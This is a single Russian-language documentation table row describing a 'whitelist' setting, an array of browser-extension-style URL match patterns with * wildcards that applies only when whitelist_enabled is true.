whitelist | Массив шаблонов URL для сопоставления. Стандартные шаблоны сопоставления расширений браузера с подстановочными знаками *. Используется только если whitelist_enabled равно true. |